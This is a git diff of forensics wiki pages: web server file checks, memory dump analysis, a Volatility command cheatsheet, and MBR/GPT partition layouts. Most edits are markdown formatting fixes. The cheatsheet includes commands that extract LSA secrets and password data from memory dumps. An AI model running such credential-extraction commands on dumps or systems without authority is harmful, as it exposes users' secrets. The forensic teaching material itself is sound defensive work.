folder containing the **files **of a web server was** last updated in some date**. **Check **the **date **all the **files **in the **web server were created and modified** and if any date is **suspicious**, check that file. ### Baselines -If the files of a folder s**houldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +If the files of a folder s**houldn't have been modified**, you can calculate the **hash **of the **original files **of the folder and **compare **them with the **current **ones. Anything modified will be **suspicious**. ### Statistical Analysis -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a webshell might be one of the most**. - +When the information is saved in logs you can** check statistics like how many times each file of a web server was accessed as a webshell might be one of the most**. diff --git a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md index e8f7ebb7..698ebe6a 100644 --- a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,33 +1,31 @@ # Memory dump analysis -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +Start **searching **for **malware **inside the pcap. Use the **tools **mentioned in [**Malware Analysis**](../malware-analysis.md). ## [Volatility](volatility-examples.md) -The premiere open-source framework for memory dump analysis is [Volatility](volatility-examples.md). Volatility is a Python script for parsing memory dumps that were gathered with an external tool \(or a VMware memory image gathered by pausing the VM\). So, given the memory dump file and the relevant "profile" \(the OS from which the dump was gathered\), Volatility can start identifying the structures in the data: running processes, passwords, etc. It is also extensible using plugins for extracting various types of artifact. +The premiere open-source framework for memory dump analysis is [Volatility](volatility-examples.md). Volatility is a Python script for parsing memory dumps that were gathered with an external tool (or a VMware memory image gathered by pausing the VM). So, given the memory dump file and the relevant "profile" (the OS from which the dump was gathered), Volatility can start identifying the structures in the data: running processes, passwords, etc. It is also extensible using plugins for extracting various types of artifact.\ From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) ## Mini dump crash report -When the dump is small \(just some KB, maybe a few MB\) the it's probably a mini dump crash report and not a memory dump. +When the dump is small (just some KB, maybe a few MB) the it's probably a mini dump crash report and not a memory dump. -![](../../../.gitbook/assets/image%20%28305%29.png) +![](<../../../.gitbook/assets/image (216).png>) If you hat Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: -![](../../../.gitbook/assets/image%20%28164%29.png) +![](<../../../.gitbook/assets/image (217).png>) You can also load the exception and see the decompiled instructions -![](../../../.gitbook/assets/image%20%282%29.png) +![](<../../../.gitbook/assets/image (219).png>) -![](../../../.gitbook/assets/image%20%28149%29.png) +![](<../../../.gitbook/assets/image (218).png>) Anyway Visual Studio isn't the best tool to perform a analysis in depth of the dump. -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. - - +You should **open **it using **IDA **or **Radare **to inspection it in **depth**. diff --git a/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md b/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md index 9f42689c..2b11738d 100644 --- a/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md +++ b/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md @@ -1,6 +1,6 @@ # Volatility - CheatSheet -If you want something **fast and crazy** that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) +If you want something **fast and crazy **that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) ```bash python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # Will use most important plugins (could use a lot of space depending on the size of the memory) @@ -21,7 +21,7 @@ python3 vol.py —h {% tabs %} {% tab title="Method1" %} -```text +``` Download the executable from https://www.volatilityfoundation.org/26 ``` {% endtab %} @@ -41,11 +41,11 @@ Access the official doc in [Volatility command reference](https://github.com/vol ### A note on “list” vs. “scan” plugins -Volatility has two main approaches to plugins, which are sometimes reflected in their names. “list” plugins will try to navigate through Windows Kernel structures to retrieve information like processes \(locate and walk the linked list of `_EPROCESS` structures in memory\), OS handles \(locating and listing the handle table, dereferencing any pointers found, etc\). They more or less behave like the Windows API would if requested to, for example, list processes. +Volatility has two main approaches to plugins, which are sometimes reflected in their names. “list” plugins will try to navigate through Windows Kernel structures to retrieve information like processes (locate and walk the linked list of `_EPROCESS` structures in memory), OS handles (locating and listing the handle table, dereferencing any pointers found, etc). They more or less behave like the Windows API would if requested to, for example, list processes. That makes “list” plugins pretty fast, but just as vulnerable as the Windows API to manipulation by malware. For instance, if malware uses DKOM to unlink a process from the `_EPROCESS` linked list, it won’t show up in the Task Manager and neither will it in the pslist. -“scan” plugins, on the other hand, will take an approach similar to carving the memory for things that might make sense when dereferenced as specific structures. `psscan` for instance will read the memory and try to make out `_EPROCESS` objects out of it \(it uses pool-tag scanning, which is basically searching for 4-byte strings that indicate the presence of a structure of interest\). The advantage is that it can dig up processes that have exited, and even if malware tampers with the `_EPROCESS` linked list, the plugin will still find the structure lying around in memory \(since it still needs to exist for the process to run\). The downfall is that “scan” plugins are a bit slower than “list” plugins, and can sometimes yield false-positives \(a process that exited too long ago and had parts of its structure overwritten by other operations\). +“scan” plugins, on the other hand, will take an approach similar to carving the memory for things that might make sense when dereferenced as specific structures. `psscan` for instance will read the memory and try to make out `_EPROCESS` objects out of it (it uses pool-tag scanning, which is basically searching for 4-byte strings that indicate the presence of a structure of interest). The advantage is that it can dig up processes that have exited, and even if malware tampers with the `_EPROCESS` linked list, the plugin will still find the structure lying around in memory (since it still needs to exist for the process to run). The downfall is that “scan” plugins are a bit slower than “list” plugins, and can sometimes yield false-positives (a process that exited too long ago and had parts of its structure overwritten by other operations). From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) @@ -53,8 +53,8 @@ From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis ### Volatility3 -As explained inside the readme you need to put the **symbol table of the OS** you want to support inside _volatility3/volatility/symbols_. -Symbol table packs for the various operating systems are available for **download** at: +As explained inside the readme you need to put the **symbol table of the OS** you want to support inside _volatility3/volatility/symbols_.\ +Symbol table packs for the various operating systems are available for **download **at: * [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip) * [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip) @@ -70,7 +70,7 @@ You can get the list of supported profiles doing: ./volatility_2.6_lin64_standalone --info | grep "Profile" ``` -If you want to use a **new profile you have downloaded** \(for example a linux one\) you need to create somewhere the following folder structure: _plugins/overlays/linux_ and put inside this folder the zip file containing the profile. Then, get the number of the profiles using: +If you want to use a **new profile you have downloaded** (for example a linux one) you need to create somewhere the following folder structure: _plugins/overlays/linux_ and put inside this folder the zip file containing the profile. Then, get the number of the profiles using: ```bash ./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info @@ -94,16 +94,16 @@ In the previous chunk you can see that the profile is called `LinuxCentOS7_3_10_ #### Discover Profile -```text +``` volatility imageinfo -f file.dmp volatility kdbgscan -f file.dmp ``` #### **Differences between imageinfo and kdbgscan** -As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address \(if there happen to be multiple\). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile \(or if you have a profile suggestion from imageinfo\), then make sure you use it \(from [here](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)\). +As opposed to imageinfo which simply provides profile suggestions, **kdbgscan **is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it (from [here](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)). -Always take a look in the **number of procceses that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile** but only the **valid one will have some process related** \(This is because in order to extract processes the correct KDBG address is needed\) +Always take a look in the** number of procceses that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile **but only the **valid one will have some process related** (This is because in order to extract processes the correct KDBG address is needed) ```bash # GOOD @@ -119,7 +119,7 @@ PsLoadedModuleList : 0xfffff80001197ac0 (0 modules) #### KDBG -The **kernel debugger block** \(named KdDebuggerDataBlock of the type \_KDDEBUGGER\_DATA64, or **KDBG** by volatility\) is important for many things that Volatility and debuggers do. For example, it has a reference to the PsActiveProcessHead which is the list head of all processes required for process listing. +The **kernel debugger block** (named KdDebuggerDataBlock of the type \_KDDEBUGGER_DATA64, or **KDBG **by volatility) is important for many things that Volatility and debuggers do. For example, it has a reference to the PsActiveProcessHead which is the list head of all processes required for process listing. ## OS Information @@ -128,7 +128,7 @@ The **kernel debugger block** \(named KdDebuggerDataBlock of the type \_KDDEBUGG ./vol.py -f file.dmp windows.info.Info ``` -The plugin `banners.Banners` can be used in **vol3 to try to find linux banners** in the dump. +The plugin `banners.Banners` can be used in** vol3 to try to find linux banners** in the dump. ## Hashes/Passwords @@ -154,9 +154,9 @@ volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets ## Memory Dump -The memory dump of a process will **extract everything** of the current status of the process. The **procdump** module will only **extract** the **code**. +The memory dump of a process will **extract everything** of the current status of the process. The **procdump **module will only **extract **the **code**. -```text +``` volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ``` @@ -164,8 +164,8 @@ volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ### List processes -Try to find **suspicious** processes \(by name\) or **unexpected** child **processes** \(for example a cmd.exe as a child of iexplorer.exe\). -It could be interesting to **compare** the result of pslist with the one of psscan to identify hidden processes. +Try to find **suspicious** processes (by name) or **unexpected** child **processes** (for example a cmd.exe as a child of iexplorer.exe).\ +It could be interesting to **compare **the result of pslist with the one of psscan to identify hidden processes. {% tabs %} {% tab title="vol3" %} @@ -221,7 +221,7 @@ volatility --profile=PROFILE consoles -f file.dmp #command history by scanning f {% endtab %} {% endtabs %} -Commands entered into cmd.exe are processed by **conhost.exe** \(csrss.exe prior to Windows 7\). So even if an attacker managed to **kill the cmd.exe** **prior** to us obtaining a memory **dump**, there is still a good chance of **recovering history** of the command line session from **conhost.exe’s memory**. If you find **something weird** \(using the consoles modules\), try to **dump** the **memory** of the **conhost.exe associated** process and **search** for **strings** inside it to extract the command lines. +Commands entered into cmd.exe are processed by **conhost.exe** (csrss.exe prior to Windows 7). So even if an attacker managed to **kill the cmd.exe** **prior **to us obtaining a memory **dump**, there is still a good chance of **recovering history **of the command line session from **conhost.exe’s memory**. If you find **something weird **(using the consoles modules), try to **dump **the **memory **of the **conhost.exe associated** process and **search **for **strings **inside it to extract the command lines. ### Environment @@ -245,7 +245,7 @@ volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of proc ### Token privileges -Check for privileges tokens in unexpected services. +Check for privileges tokens in unexpected services.\ It could be interesting to list the processes using some privileged token. {% tabs %} @@ -270,8 +270,8 @@ volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePri ### SIDs -Check each SSID owned by a process. -It could be interesting to list the processes using a privileges SID \(and the processes using some service SID\). +Check each SSID owned by a process.\ +It could be interesting to list the processes using a privileges SID (and the processes using some service SID). {% tabs %} {% tab title="vol3" %} @@ -291,7 +291,7 @@ volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of ### Handles -Useful to know to which other files, keys, threads, processes... a **process has a handle** for \(has opened\) +Useful to know to which other files, keys, threads, processes... a **process has a handle** for (has opened) {% tabs %} {% tab title="vol3" %} @@ -368,7 +368,7 @@ volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3 ### UserAssist - **Windows** systems maintain a set of **keys** in the registry database \(**UserAssist keys**\) to keep track of programs that executed. The number of executions and last execution date and time are available in these **keys**. + **Windows** systems maintain a set of **keys** in the registry database (**UserAssist keys**) to keep track of programs that executed. The number of executions and last execution date and time are available in these **keys**. {% tabs %} {% tab title="vol3" %} @@ -537,7 +537,7 @@ volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp {% endtab %} {% endtabs %} -The NTFS file system contains a file called the _master file table_, or MFT. There is at least one entry in the MFT for every file on an NTFS file system volume, including the MFT itself. **All information about a file, including its size, time and date stamps, permissions, and data content**, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries. From [here](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). +The NTFS file system contains a file called the _master file table_, or MFT. There is at least one entry in the MFT for every file on an NTFS file system volume, including the MFT itself.** All information about a file, including its size, time and date stamps, permissions, and data content**, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries. From [here](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). ### SSL Keys/Certs @@ -598,8 +598,8 @@ volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers ### Scanning with yara -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9) -Create the _**rules**_ directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware. +Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Create the _**rules **_directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. {% tabs %} {% tab title="vol3" %} @@ -648,7 +648,7 @@ If you want to use an external plugins make sure that the plugins related folder Download it from [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) -```text +``` volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns ``` @@ -656,7 +656,7 @@ Download it from [https://github.com/tomchop/volatility-autoruns](https://github {% tabs %} {% tab title="vol3" %} -```text +``` ./vol.py -f file.dmp windows.mutantscan.MutantScan ``` {% endtab %} @@ -687,11 +687,11 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan ### Bash -It's possible to **read from memory the bash history.** You could also dump the _.bash\_history_ file, but it was disabled you will be glad you can use this volatility module +It's possible to **read from memory the bash history.** You could also dump the _.bash_history_ file, but it was disabled you will be glad you can use this volatility module {% tabs %} {% tab title="vol3" %} -```text +``` ./vol.py -f file.dmp linux.bash.Bash ``` {% endtab %} @@ -723,7 +723,7 @@ volatility --profile=Win7SP1x86_23418 -f timeliner {% tabs %} {% tab title="vol3" %} -```text +``` ./vol.py -f file.dmp windows.driverscan.DriverScan ``` {% endtab %} @@ -763,13 +763,11 @@ volatility --profile=Win7SP1x86_23418 notepad -f file.dmp volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp ``` -### Master Boot Record \(MBR\) +### Master Boot Record (MBR) -```text +``` volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp ``` -The MBR holds the information on how the logical partitions, containing [file systems](https://en.wikipedia.org/wiki/File_system), are organized on that medium. The MBR also contains executable code to function as a loader for the installed operating system—usually by passing control over to the loader's [second stage](https://en.wikipedia.org/wiki/Second-stage_boot_loader), or in conjunction with each partition's [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) \(VBR\). This MBR code is usually referred to as a [boot loader](https://en.wikipedia.org/wiki/Boot_loader). From [here](https://en.wikipedia.org/wiki/Master_boot_record). - - +The MBR holds the information on how the logical partitions, containing [file systems](https://en.wikipedia.org/wiki/File_system), are organized on that medium. The MBR also contains executable code to function as a loader for the installed operating system—usually by passing control over to the loader's [second stage](https://en.wikipedia.org/wiki/Second-stage_boot_loader), or in conjunction with each partition's [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR). This MBR code is usually referred to as a [boot loader](https://en.wikipedia.org/wiki/Boot_loader). From [here](https://en.wikipedia.org/wiki/Master_boot_record). diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md index 67191771..7314cb42 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -2,52 +2,52 @@ ## Partitions -A hard drive or a **SSD disk can contain different partitions** with the goal of separating data physically. -The **minimum** unit of a disk is the **sector** \(normally composed by 512B\). So, each partition size needs to be multiple of that size. +A hard drive or a** SSD disk can contain different partitions** with the goal of separating data physically.\ +The **minimum** unit of a disk is the **sector** (normally composed by 512B). So, each partition size needs to be multiple of that size. -### MBR \(master Boot Record\) +### MBR (master Boot Record) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate the PC what and from where a partition should be mounted. -It allows up to **4 partitions** \(at most **just 1** can be active/**bootable**\). However, if you need more partitions you can use **extended partitions**.. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active. +It's allocated in the** first sector of the disk after the 446B of the boot code**. This sector is essential to indicate the PC what and from where a partition should be mounted.\ +It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**.. The** final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ MBR allows **max 2.2TB**. -![](../../../.gitbook/assets/image%20%28503%29.png) +![](<../../../.gitbook/assets/image (489).png>) -![](../../../.gitbook/assets/image%20%28498%29.png) +![](<../../../.gitbook/assets/image (490).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** \(if Windows is used\). The logical drive letters of the hard disk depend on the Windows Disk Signature. Changing this signature could prevent Windows from booting \(tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**\)**. +From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letters of the hard disk depend on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. -![](../../../.gitbook/assets/image%20%28499%29.png) +![](<../../../.gitbook/assets/image (493).png>) #### Format -| Offset | Length | Item | -| :--- | :--- | :--- | -| 0 \(0x00\) | 446\(0x1BE\) | Boot code | -| 446 \(0x1BE\) | 16 \(0x10\) | First Partition | -| 462 \(0x1CE\) | 16 \(0x10\) | Second Partition | -| 478 \(0x1DE\) | 16 \(0x10\) | Third Partition | -| 494 \(0x1EE\) | 16 \(0x10\) | Fourth Partition | -| 510 \(0x1FE\) | 2 \(0x2\) | Signature 0x55 0xAA | +| Offset | Length | Item | +| ----------- | ---------- | ------------------- | +| 0 (0x00) | 446(0x1BE) | Boot code | +| 446 (0x1BE) | 16 (0x10) | First Partition | +| 462 (0x1CE) | 16 (0x10) | Second Partition | +| 478 (0x1DE) | 16 (0x10) | Third Partition | +| 494 (0x1EE) | 16 (0x10) | Fourth Partition | +| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | #### Partition Record Format -| Offset | Length | Item | -| :--- | :--- | :--- | -| 0 \(0x00\) | 1 \(0x01\) | Active flag \(0x80 = bootable\) | -| 1 \(0x01\) | 1 \(0x01\) | Start head | -| 2 \(0x02\) | 1 \(0x01\) | Start sector \(bits 0-5\); upper bits of cylinder \(6- 7\) | -| 3 \(0x03\) | 1 \(0x01\) | Start cylinder lowest 8 bits | -| 4 \(0x04\) | 1 \(0x01\) | Partition type code \(0x83 = Linux\) | -| 5 \(0x05\) | 1 \(0x01\) | End head | -| 6 \(0x06\) | 1 \(0x01\) | End sector \(bits 0-5\); upper bits of cylinder \(6- 7\) | -| 7 \(0x07\) | 1 \(0x01\) | End cylinder lowest 8 bits | -| 8 \(0x08\) | 4 \(0x04\) | Sectors preceding partition \(little endian\) | -| 12 \(0x0C\) | 4 \(0x04\) | Sectors in partition | +| Offset | Length | Item | +| --------- | -------- | ------------------------------------------------------ | +| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | +| 1 (0x01) | 1 (0x01) | Start head | +| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | +| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | +| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | End head | +| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | +| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | +| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | +| 12 (0x0C) | 4 (0x04) | Sectors in partition | -In order to mount a MBR in Linux you first need to get the start offset \(you can use `fdisk` and the the `p` command\) +In order to mount a MBR in Linux you first need to get the start offset (you can use `fdisk` and the the `p` command) -![](../../../.gitbook/assets/image%20%28413%29%20%283%29%20%283%29%20%283%29%20%282%29%20%281%29.png) +![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (3).png>) An then use the following code @@ -58,79 +58,79 @@ mount -o ro,loop,offset= mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` -#### LBA \(Logical block addressing\) +#### LBA (Logical block addressing) -**Logical block addressing** \(**LBA**\) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks **of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. -### GPT \(GUID Partition Table\) +### GPT (GUID Partition Table) -It’s called GUID Partition Table because every partition on your drive has a **globally unique identifier**. +It’s called GUID Partition Table because every partition on your drive has a** globally unique identifier**. -Just like MBR it starts in the **sector 0**. The MBR occupies 32bits while **GPT** uses **64bits**. -GPT **allows up to 128 partitions** in Windows and up to **9.4ZB**. +Just like MBR it starts in the **sector 0**. The MBR occupies 32bits while **GPT** uses **64bits**.\ +GPT **allows up to 128 partitions** in Windows and up to **9.4ZB**.\ Also, partitions can have a 36 character Unicode name. On an MBR disk, the partitioning and boot data is stored in one place. If this data is overwritten or corrupted, you’re in trouble. In contrast, **GPT stores multiple copies of this data across the disk**, so it’s much more robust and can recover if the data is corrupted. -GPT also stores **cyclic redundancy check \(CRC\)** values to check that its data is intact. If the data is corrupted, GPT can notice the problem and **attempt to recover the damaged data** from another location on the disk. +GPT also stores **cyclic redundancy check (CRC)** values to check that its data is intact. If the data is corrupted, GPT can notice the problem and **attempt to recover the damaged data** from another location on the disk. -#### Protective MBR \(LBA0\) +#### Protective MBR (LBA0) For limited backward compatibility, the space of the legacy MBR is still reserved in the GPT specification, but it is now used in a **way that prevents MBR-based disk utilities from misrecognizing and possibly overwriting GPT disks**. This is referred to as a protective MBR. -![](../../../.gitbook/assets/image%20%28504%29.png) +![](<../../../.gitbook/assets/image (491).png>) -#### Hybrid MBR \(LBA 0 + GPT\) +#### Hybrid MBR (LBA 0 + GPT) -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +In operating systems that support **GPT-based boot through BIOS **services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. -#### Partition table header \(LBA 1\) +#### Partition table header (LBA 1) -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table \(offsets 80 and 84 in the table\). +The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). -| Offset | Length | Contents | -| :--- | :--- | :--- | -| 0 \(0x00\) | 8 bytes | Signature \("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines\) | -| 8 \(0x08\) | 4 bytes | Revision 1.0 \(00h 00h 01h 00h\) for UEFI 2.8 | -| 12 \(0x0C\) | 4 bytes | Header size in little endian \(in bytes, usually 5Ch 00h 00h 00h or 92 bytes\) | -| 16 \(0x10\) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header \(offset +0 up to header size\) in little endian, with this field zeroed during calculation | -| 20 \(0x14\) | 4 bytes | Reserved; must be zero | -| 24 \(0x18\) | 8 bytes | Current LBA \(location of this header copy\) | -| 32 \(0x20\) | 8 bytes | Backup LBA \(location of the other header copy\) | -| 40 \(0x28\) | 8 bytes | First usable LBA for partitions \(primary partition table last LBA + 1\) | -| 48 \(0x30\) | 8 bytes | Last usable LBA \(secondary partition table first LBA − 1\) | -| 56 \(0x38\) | 16 bytes | Disk GUID in mixed endian | -| 72 \(0x48\) | 8 bytes | Starting LBA of array of partition entries \(always 2 in primary copy\) | -| 80 \(0x50\) | 4 bytes | Number of partition entries in array | -| 84 \(0x54\) | 4 bytes | Size of a single partition entry \(usually 80h or 128\) | -| 88 \(0x58\) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 \(0x5C\) | \* | Reserved; must be zeroes for the rest of the block \(420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes\) | +| Offset | Length | Contents | +| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | +| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | +| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | +| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | +| 20 (0x14) | 4 bytes | Reserved; must be zero | +| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | +| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | +| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | +| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | +| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | +| 72 (0x48) | 8 bytes | Starting LBA of array of partition entries (always 2 in primary copy) | +| 80 (0x50) | 4 bytes | Number of partition entries in array | +| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | +| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | +| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | -#### Partition entries \(LBA 2–33\) +#### Partition entries (LBA 2–33) -| GUID partition entry format | | | -| :--- | :--- | :--- | -| Offset | Length | Contents | -| 0 \(0x00\) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) \(mixed endian\) | -| 16 \(0x10\) | 16 bytes | Unique partition GUID \(mixed endian\) | -| 32 \(0x20\) | 8 bytes | First LBA \([little endian](https://en.wikipedia.org/wiki/Little_endian)\) | -| 40 \(0x28\) | 8 bytes | Last LBA \(inclusive, usually odd\) | -| 48 \(0x30\) | 8 bytes | Attribute flags \(e.g. bit 60 denotes read-only\) | -| 56 \(0x38\) | 72 bytes | Partition name \(36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units\) | +| GUID partition entry format | | | +| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | +| Offset | Length | Contents | +| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) | +| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | +| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | +| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | +| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | +| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | #### Partitions Types -![](../../../.gitbook/assets/image%20%28500%29.png) +![](<../../../.gitbook/assets/image (492).png>) -More partition types in [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) +More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) ### Inspecting -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image a **MBR** was detected on the **sector 0** and interpreted: +After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**. **In the following image a **MBR** was detected on the **sector 0** and interpreted: -![](../../../.gitbook/assets/image%20%28501%29.png) +![](<../../../.gitbook/assets/image (494).png>) -If it was a **GPT table instead of a MBR** it should appear the signature _EFI PART_ in the 